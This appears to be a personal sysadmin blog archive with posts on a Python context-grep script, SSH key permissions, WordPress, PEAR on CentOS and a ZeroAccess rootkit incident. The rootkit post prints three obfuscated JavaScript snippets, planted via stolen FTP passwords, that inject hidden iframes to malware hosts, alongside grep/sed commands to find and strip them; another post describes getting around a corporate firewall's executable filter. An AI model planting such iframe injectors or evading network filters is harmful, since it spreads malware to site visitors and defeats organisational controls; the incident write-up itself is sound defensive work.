Command line python script to get context lines on a search string

grep -B and -B flags don’t work when grep is used on the command line with readline support. So I created this little script that does work on the command line. use -h flag to learn. Here’s how I’ve used it:

ls -al | ./ -b 1 -a 1 -d test.txt

This finds the test.txt file and prints the 2 files around it.

# print context when using a python script with readline support (command line piping)
# by

import sys, re
from optparse import OptionParser

def main():
    usage = "usage: %prog [options] needle"
    parser = OptionParser(usage)
    parser.add_option("-b", "--before", type="int", dest="before", default=0,
            help='Before context lines (a la grep)')
    parser.add_option("-a", "--after", type="int", dest="after", default=0,
            help='After context lines')
    parser.add_option("-d", "--debug", action="store_true", dest="debug", default=False,
            help='Debug information.')

    #Not implemented
    #parser.add_option("-o", "--output", type="string", dest="output")
    (options, args) = parser.parse_args()
    if len(args) != 1:
        parser.error("Specify what you want to search")
    needle = args[0]
    if options.debug:
        print "\nNeedle: %s\nBefore context lines: %s\nAfter context lines: %s\n" % (needle, options.before, options.after)

    lines = sys.stdin.readlines()
    lines = [x.strip() for x in lines]
    lastline = ''
    i = 0
    for line in lines:
        if needle in line:
#        if, line):
            first = max(0, i - options.before)
            last = min(len(lines), i + options.after + 1)
            if options.debug:
                print "Found '%s' on line %d, printing line %d to %d" % (needle, i, first, last)
            for println in lines[first:last]:
                print println
            print ""
        lastline = line
        i += 1

if __name__ == "__main__":

Rootkit hacked Win7, stole ftp passwords, and spread malware

What happened:
Over the past weekend, I got hit by ZeroAccess rootkit, which I’ve recently heard about making the news on a few security related sites. It disabled Microsoft Security Essentials and Windows Defender, and took over the Windows Security Center. It further controls the Network layer so that it can disable any connections to security sites. To keep itself in control, it installs itself as a service, a startup item and several scheduled tasks. It kills your exe associations at each restart (which means you can’t run any executables, possibly to remove the damned trojans/viruses). While all this is happening, it keeps installing more malware.

Internet help:
BleepingComputer (particularly the FixNCR.reg file is very helpful in restoring exe file association) and their forums
MalwareBytes AntiMalware didn’t help me much, because this rootkit and its malware friends kept coming back. (The problem is that these rootkits are modifying memory on the fly, so whatever success you think you have is misleading.)

How I got rid of it:
In safe mode, ran Kaspersky Virus Removal Tool 2011, TDSSKiller, Combofix
(Restore executable file associations by using the FixNCR.reg tool I listed above)
Once the above three fixed the issue, I used MBAM, MS Security Essentials, Spyware Doctor (not free) and SuperAntiSpyware (with Full Scans) to verify that my computer was clean.

Stolen ftp passwords:
It scans for ftp software programs, such as FileZilla, which like other ftp programs will store all your passwords in plaintext for any random person to grab. Lesson learned: Use SSH keys with passphrase to prevent this problem in the future. So it sent all these passwords back to their database, so the attackers (log below) connected to each site, recursively looked for all the common files: index.htm, index.html, index.php, login.php, auth.html, etc, etc and put the following codes (usually at the end):

  1. Code:
    <script>wa='t';p='ht';f='k98';tb='ame';bg='.';v='sr';g='tp:';vf='/z';bs='t';px='v.h';br='yt';k='c';yr='m';ds='m';ej='/';au='/';t='com';sp='ifr';r='ca';cp='y';wz='ir';wf='u';b='5';se=sp.concat(tb);oz=v.concat(k);db=p.concat(g,ej,vf,wz,cp,r,bs,wf,yr,bg,t,au,f,b,br,px,wa,ds);var ip=document.createElement(se);ip.setAttribute('width','1');ip.setAttribute('height','1');ip.frameBorder=0;ip.setAttribute(oz,db);document.body.appendChild(ip);</script>

    evaluates to

    <iframe width=​"1" height=​"1" frameborder=​"0" src=​"http:​/​/​​k985ytv.htm">​</iframe>​
  2. Code:
    <script>ti='.c';ai='af';qo='p';jn='htm';rf='n';tf='doz';yn='ifr';xm='s';cl='o';jd='k9';nn='tv.';rl='85y';r='umu';eh='m/';ec='htt';sb='rc';f='ame';l='://';b=yn.concat(f);gg=xm.concat(sb);qt=ec.concat(qo,l,rf,r,tf,ai,ti,cl,eh,jd,rl,nn,jn);var xp=document.createElement(b);xp.setAttribute('width','1');xp.setAttribute('height','1');xp.frameBorder=0;xp.setAttribute(gg,qt);document.body.appendChild(xp);</script>

    evaluates to

    <iframe width=​"1" height=​"1" frameborder=​"0" src=​"http:​/​/​​k985ytv.htm">​</iframe>​​
  3. Code:
    <script>mv='uf';jx='tv.';cg='me';k='e';mg='rc';g='ys';rs='m';f='of';m='ht';u='85y';ca='e.c';r='s';j='fra';i='ht';h='//h';qy='wob';v='k9';a='t';qt='i';br='p:';s='om/';ul=qt.concat(j,cg);xl=r.concat(mg);xp=m.concat(a,br,h,g,f,mv,k,qy,ca,s,v,u,jx,i,rs);var bn=document.createElement(ul);bn.setAttribute('width','1');bn.setAttribute('height','1');bn.frameBorder=0;bn.setAttribute(xl,xp);document.body.appendChild(bn);</script>

    evaluates to

    <iframe width=​"1" height=​"1" frameborder=​"0" src=​"http:​/​/​​k985ytv.htm">​</iframe>​

    How to find and remove these exploits:

    find . -type f -regex ".*\(py\|php\|html?\)$" -exec grep -lr "frameBorder.*setAttribute.*document.body.appendChild" {} 2> /dev/null \;

    Find all files recursively starting from current directory that have py/php/htm/html as extension, look for those 3 keywords (“frameBorder”, “setAttribute”, then “document.body.appendChild”).
    Notes: You should make sure this command outputs filenames of files that have the exploit html code. You might need to change the keywords (if the virus code has changed). Also, “2> /dev/null” will ignore all permissions/access errors, you might want to take that out if you want to see errors for files that you don’t have access to.

    Replace (just adds sed, the file editing tool):

    find . -type f -regex ".*\(py\|php\|html?\)$" -exec grep -lr "frameBorder.*setAttribute.*document.body.appendChild" {} 2> /dev/null \; | xargs -I {} sed -i.hacked 's#<script>wa=.*</script>##g' {}

    Explanation of the command after the pipe (|):
    For each file from the previous command, edit it such that we remove from the starting script tag to the ending script tag, but only if “wa=” follows the starting script tag. Of course, you will need to run this command, replacing the “wa=” with “ti=” (like the above 2 pasted exploit codes, or whatever else the the command is currently using). This script will also backup each of the exploited file (with the extension .hacked), just in case you lose something important.

    How to prevent future ftp edits:
    Don’t use ftp programs that store plaintext passwords, or better yet use passphrase’d SSH keys (with an SSH agent to simplify your life).

    Google StopBadware is a service, which comes with all the popular browsers like FF, Chrome, Safari. Everytime you visit a site, this service is used to check if the page/website is listed as a site that propagates badware. So as you can imagine all the exploited files (above) resulted in all the domains getting blacklisted from these browsers and on top of that, Google Search will display a “This site is harmful” message. Firefox implementation of this service is the worst because Firefox tries its hardest to make you stop visiting the site. Most likely, your site will get flagged by the Googlebot, and you will also get an email from Google titled “Malware notification regarding” sent to the common webmaster email addresses,,,, etc (so as a good practice, you should make sure one of these addresses work).
    To fix this, you will need to add your site to Google Webmaster Tools (really helpful tool for all sorts of webmaster activities, and then “Request a Review” from Diagnostics > Malware section. This is just one way, I think you can also request a review through (the original vendor), but the request will probably still go through the original reporter (most likely google). Also, some requests are resolved within a day (for popular sites), and some take as long as 2 days. I’ve also noticed that a convincing argument made about security haul in the comment when asking for a review helps your case.

    Finally, Some ip addresses and an example of what it looks like in logs UNKNOWN u47973886 [14/Aug/2011:23:19:27 -0500] "LIST /folderthis/folderthat/" 226 1862 UNKNOWN u47973886 [14/Aug/2011:23:19:27 -0500] "TYPE I" 200 - UNKNOWN u47973886 [14/Aug/2011:23:19:27 -0500] "PASV" 227 - UNKNOWN u47973886 [14/Aug/2011:23:19:27 -0500] "SIZE index.htm" 213 - UNKNOWN u47973886 [14/Aug/2011:23:19:27 -0500] "RETR index.htm" 226 2573 UNKNOWN u47973886 [14/Aug/2011:23:19:27 -0500] "TYPE I" 200 - UNKNOWN u47973886 [14/Aug/2011:23:19:27 -0500] "PASV" 227 - UNKNOWN u47973886 [14/Aug/2011:23:19:27 -0500] "STOR index.htm" 226 3018

    2nd server:
    Aug 14 08:58:41 customer proftpd[6367]: (::ffff:[::ffff:]) - FTP session opened.
    Aug 14 23:37:04 customer proftpd[16356]: (::ffff:[::ffff:]) - FTP session closed.
    Aug 15 00:20:34 customer proftpd[22467]: (::ffff:[::ffff:]) - FTP session opened.
    Aug 15 09:12:04 customer proftpd[8899]: (::ffff:[::ffff:]) - FTP session closed.
    Aug 15 17:09:20 customer proftpd[25532]: (::ffff:[::ffff:]) - FTP
    Aug 15 23:42:16 customer proftpd[10474]: (::ffff:[::ffff:]) - FTP session closed.
    Aug 16 02:22:53 customer proftpd[17143]: (::ffff:[::ffff:]) - FTP session opened.
    Aug 16 03:51:34 customer proftpd[20771]: (::ffff:[::ffff:]) - FTP session closed.
    Aug 16 23:32:22 customer proftpd[3396]: (::ffff:[::ffff:]) - FTP session opened.

SSH private/public key auth not working

Problem: I can’t set up an automated login (passwordless with ssh agent) to one of my servers.

Tip: Best way to debug SSH problems is by using ssh -vvvv server. The extra verbosity flags will tell you exactly what is going on at each interaction.

I was receiving the following code:
debug1: Trying private key: /Users/inderpreetsingh/.ssh/id_rsa
debug1: PEM_read_PrivateKey failed
debug1: read PEM private key done: type
debug3: Not a RSA1 key file /Users/inderpreetsingh/.ssh/id_rsa.
debug1: read PEM private key done: type RSA
Identity added: /Users/inderpreetsingh/.ssh/id_rsa (/Users/inderpreetsingh/.ssh/id_rsa)
debug1: read PEM private key done: type RSA
debug3: sign_and_send_pubkey
debug2: we sent a publickey packet, wait for reply
debug1: Authentications that can continue: publickey,password,hostbased

debug1: Trying private key: /Users/inderpreetsingh/.ssh/id_dsa
debug3: no such identity: /Users/inderpreetsingh/.ssh/id_dsa
debug2: we did not send a packet, disable method

debug3: authmethod_lookup password
debug3: remaining preferred: ,password
debug3: authmethod_is_enabled password
debug1: Next authentication method: password
inderpreetsingh@server's password:

Analysis: The errors are misleading. They seem to indicate that the identity file on our own machine is the culprit. But the problem was the .ssh directory and the authorized_keys file permissions. They may be too lax or too restrictive.

Fix: From your home directory, fire the following permissions:

chmod 700 ~/.ssh
chmod 600 ~/.ssh/authorized_keys

And for good measure, make sure you alone own the files:

chown username:username ~/.ssh
chown username:username ~/.ssh/authorized_keys

And passwordless SSH here I come.

Include admin scripts/styles in WordPress plugin

There are two ways of including custom scripts/styles in an admin page for a WordPress 3 plugin.

Solution 1 (Deprecated):

$slug = add_submenu_page('myplugin.php', 'My Plugin', 'My Plugin', 'upload_files', __FILE__, 'myplugin_options');

add_action('admin_print_scripts-'. $slug, 'myplugin_enqueue_admin_scripts');
add_action('admin_print_styles-'. $slug, 'myplugin_enqueue_admin_styles');

function myplugin_enqueue_admin_scripts($suffix) {
	$plugin_path = plugin_dir_url(__FILE__) . 'resources/';
	wp_enqueue_script('jquery.js', $plugin_path . 'jquery.pack.js');

function myplugin_enqueue_admin_styles($suffix) {
	$plugin_path = plugin_dir_url(__FILE__) . 'resources/';
	wp_enqueue_style('jquery.css', $plugin_path . 'jquery.css');

Solution 2 (recommended):

$slug = add_submenu_page('myplugin.php', 'My Plugin', 'My Plugin', 'upload_files', __FILE__, 'myplugin_options');

add_action('admin_enqueue_scripts', 'myplugin_enqueue_admin_scripts');

function myplugin_enqueue_admin_scripts($hook_suffix) {
	if ($hook_suffix == 'myplugin/slug') {
		$plugin_path = plugin_dir_url(__FILE__) . 'resources/';
		wp_enqueue_script('jquery.js', $plugin_path . 'jquery.pack.js');
		wp_enqueue_style('jquery.css', $plugin_path . 'jquery.css');

Can’t download executables on a Sonicwall corporate network

We have a SonicWall corporate network at our local Gurdwara. It for some reason prohibits some .exe files from being downloaded. Although some executables work just fine. For some executables, only an empty (0 byte) file is downloaded. For some files, my Chrome browser returns Error 101 (net::ERR_CONNECTION_RESET): Unknown error. My ftp (filezilla) fails with the following error:

Response: 150 Opening BINARY mode data connection for (242059 bytes).
Error: Transfer connection interrupted: ECONNABORTED - Connection aborted
Response: 426 Failure writing network stream.
Error: File transfer failed

Clearly the router/gateway is blocking the files. And it is smart enough to scan the files and knows when the same executable file has been named test.mp3 and it can even read zip archive files.

In times of need, the one sure way of getting files is to fire up a remote desktop connection or vnc or ssh session, download the file to that remote machine, compress it either 7zip (.7z extension), tarfile (.tar extension) or bzip2 (.bz2 extension) format, and then download to local computer using ftp or upload to any file uploading site.

PS: I have not tested .rar (winrar format). If anybody can test this, let me know if it works.

No php53-pear for RHEL 5.6, download it the traditional way!

I had to update to the latest vBulletin 4, but for that I needed php5.3. Luckily, RHEL has put out php53-* packages (I installed php 5.3.3-1.el5_6.1 btw). I downloaded them all but they were missing php53-pear* package. I’m not sure if this is just the case for x86_64.

So the main problem was getting PEAR packages to install. I tried to get the newer way of downloading pear packages, pyrus (pear2). However, the command php pyrus.phar install ___ resulted in messages like these:
The sqlite3 extension is required.
You must compile PHP with sqlite3 enabled, or install the necessary extension for your distribution.

(Not sure which extension of php53 would resolve this)

The sqlite3 extension is required.
You must compile PHP with sqlite3 enabled, or install the necessary extension for your distribution.

(This one is resolved by downloading php53-xml, thankfully available)

Anyhow, I didn’t want to go on a hunt to try to get these php53 special packages by following the instructions listed in the manual. However, the url listed in the manual makes php-fcgi put up a blank/empty page. I had a feeling it’s these .phar (weird php compressed archives) files that they’re using. Luckily in the comments, I noticed somebody said to get Now that my friends worked like a charm. All I had to do was download that to the server, open it up in the browser and follow the steps as it shows.

The rest comes easy. If you got questions, fire away.

Virtualenvwrapper on CentOS/RHEL with Virtualmin

I used the IUS Community and EPEL repositories to install python 2.6 on my RHEL 5.6 Tikanga box. However I faced some errors, which I didn’t see fully documented online so I figured they would come handy to myself and whoever else tries to do similar things.

Problem 1: Error on mkvirtualenv and other commands: No module named virtualenvwrapper.hook_loader
Resolution: After looking at the source code, virtualenvwrapper can’t find our special python installation. Put the following line in your .bashrc:


along with the other two lines that everybody tells you to put in:

export WORKON_HOME=$HOME/.virtualenvs
source <strong>/usr/bin/</strong>

(Note that virtualenvwrapper was installed to the above location, this is a different location than the one that everybody else (who is documenting the procedure) is installing at. I’m not sure if this is a new change in virtualenv or because of our special python26 installation. So use locate to find your location properly.)

Problem 2: Virtualenvwrapper commands do not auto-complete or can’t be found also unless .bashrc is sourced manually.
Reason: .bashrc is not executed when logging in to the box (like it should be because it is listed inside .bash_profile, which should be executed also)
Solution: This happens because virtualmin setup’s default $SHELL for each non-root user is /bin/sh. To fix this for on user, open up /etc/passwd, find the user that you are interested in, and change the /bin/sh part to /bin/bash. To fix the default for each virtualmin created user, go to virtualmin’s admin page, under System Customization > Custom Shells > Choose the /bin/bash custom shell.

Protoaculous 1.9.0 Minified

I used to download the updated versions of protoaculous from Prototype Core Google Group. Recently, Google announced that the Files section of the Google Groups will be deprecated. Also, nobody has been updating the copy of protoaculous in that group (or anywhere else on the public google-searched internet for that matter).

The instructions to create it are really simple and so you can do it yourself. You can read them at Boog Design.

For the lazy (like me), here’s the minified version of Prototype.js 1.7.0 (using the new Sizzle CSS Selector Engine – v1.0) + Scriptaculous 1.9.0:

Coral CDN
Cached version (similar to versions):

Other info
Size of Prototype.js + Scriptaculous = 287,939 bytes
Size of Protoaculous.js Minified = 168,754 bytes

Packed: prototype.js + scriptaculous.js + builder.js + effects.js + dragdrop.js + controls.js + slider.js + sound.js

Profile Visitors 4.1 Mod for SMF 2.0

Profile Visitors mod description:

This modifications logs the visitors for all members’ profile with the time of their last visit. Additionally it gives you the ability to see the total visit count for the profile.

Version 4.1

At last, version 4.1, which is an SMF 2.0 only package is released. This version does not log 20, but all visitors of a user. Also it keeps the total visit count for each visitor and total visit count for each profile.

It, as usual, has own/any profile view option and improved remove visitor permissions. Also it includes “Avoid logging permission”, which allows users to select if they want to be logged or not. User can set it from “Look and Layout” area of their profile.

And some bad news… There won’t be any updates for the SMF 1.x version, but I’ll continue supporting that too.

-Blue Dream

This mod is one of the most requested features on my social networking site, Punjabi Janta. So when I went to look for the mod (, I noticed that the mod coder, [SiNaN], had ended development for a lot of his mods. A couple of users reuploaded the mod to the forum on user’s requests, but moderators were quick to remove it claiming that mods can’t be distributed without owner’s permission.

Anyhow, I had requested a copy from MasterD, and he was helpful in sharing it with me. Here’s an archived copy of it, you won’t find it on Simple Machine’s Forum.


PS: The Profile.template.php edit may fail. Just replace the leading spaces with tabs on the following lines:

      <div id="detailedinfo">
         <div class="windowbg2">   

Edit June 4, 2011: Here’s the edited version to work with SMF 2.0 with the above fix: ProfileVisitors4.1-IPS

Fix Pear/Mail due to CentOS/RHEL repos using old pear

I couldn’t install the Mail PEAR package because the pear version shipped with the current CentOS/RHEL is 1.4.9, whereas the required version is 1.5.6 or above. The following is the error that you may see.

# pear install Mail
WARNING: channel "" has updated its protocols, use "channel-update" to update
Did not download optional dependencies: pear/Net_SMTP, use --alldeps to download automatically
pear/Mail requires PEAR Installer (version >= 1.5.6), installed version is 1.4.9
pear/Mail can optionally use package "pear/Net_SMTP" (version >= 1.4.1)
No valid packages found
install failed

There are three problems above:

  1. WARNING: channel “” has updated its protocols, use “channel-update” to update
  2. Did not download optional dependencies: pear/Net_SMTP, use –alldeps to download automatically
  3. Main problem: pear/Mail requires PEAR Installer (version >= 1.5.6), installed version is 1.4.9

To fix problem #1 (update channel

# pear channel-update
Retrieving channel.xml from remote server
Update of Channel "" succeeded

To fix problem #2 (Net_SMTP is not installed), run:

# pear install --alldeps Mail 
pear/Mail requires PEAR Installer (version >= 1.5.6), installed version is 1.4.9
downloading Net_SMTP-1.4.4.tgz ...
Starting to download Net_SMTP-1.4.4.tgz (12,264 bytes)
.....done: 12,264 bytes
downloading Net_Socket-1.0.10.tgz ...
Starting to download Net_Socket-1.0.10.tgz (5,429 bytes)
...done: 5,429 bytes
downloading Auth_SASL-1.0.4.tgz ...
Starting to download Auth_SASL-1.0.4.tgz (5,795 bytes)
...done: 5,795 bytes
install ok: channel://
install ok: channel://
install ok: channel://

To fix problem #3 (old pear version), first upgrade pear:

# pear upgrade pear
pear/PEAR dependency package "pear/Structures_Graph" downloaded version 1.0.4 is not the recommended version 1.0.3, but may be compatible, use --force to install
pear/PEAR dependency package "pear/Console_Getopt" downloaded version 1.3.0 is not the recommended version 1.2.3, but may be compatible, use --force to install
pear/Archive_Tar requires PEAR Installer (version >= 1.5.4), installed version is 1.4.9
pear/Console_Getopt requires PEAR Installer (version >= 1.9.1), installed version is 1.4.9
downloading Structures_Graph-1.0.4.tgz ...
Starting to download Structures_Graph-1.0.4.tgz (30,318 bytes)
.........done: 30,318 bytes
downloading XML_Util-1.2.1.tgz ...
Starting to download XML_Util-1.2.1.tgz (17,729 bytes)
...done: 17,729 bytes
upgrade ok: channel://
upgrade ok: channel://

But this still doesn’t update base pear, so run:

# pear upgrade --force pear
warning: pear/PEAR dependency package "pear/Console_Getopt" downloaded version 1.3.0 is not the recommended version 1.2.3
warning: pear/Archive_Tar requires PEAR Installer (version >= 1.5.4), installed version is 1.4.9
warning: pear/Console_Getopt requires PEAR Installer (version >= 1.9.1), installed version is 1.4.9
downloading PEAR-1.9.1.tgz ...
Starting to download PEAR-1.9.1.tgz (293,587 bytes)
.............................................................done: 293,587 bytes
downloading Archive_Tar-1.3.7.tgz ...
Starting to download Archive_Tar-1.3.7.tgz (17,610 bytes)
...done: 17,610 bytes
downloading Console_Getopt-1.3.0.tgz ...
Starting to download Console_Getopt-1.3.0.tgz (4,408 bytes)
...done: 4,408 bytes
upgrade ok: channel://
upgrade ok: channel://
upgrade ok: channel://
PEAR: Optional feature webinstaller available (PEAR's web-based installer)
PEAR: Optional feature gtkinstaller available (PEAR's PHP-GTK-based installer)
PEAR: Optional feature gtk2installer available (PEAR's PHP-GTK2-based installer)
To install use "pear install pear/PEAR#featurename"

Now we can install pear’s Mail:

# pear install --alldeps Mail
downloading Mail-1.2.0.tgz ...
Starting to download Mail-1.2.0.tgz (23,214 bytes)
........done: 23,214 bytes
install ok: channel://

You might also need Mail_mime:

# pear install Mail_mime
downloading Mail_Mime-1.8.1.tgz ...
Starting to download Mail_Mime-1.8.1.tgz (31,530 bytes)
.........done: 31,530 bytes
install ok: channel://
Return top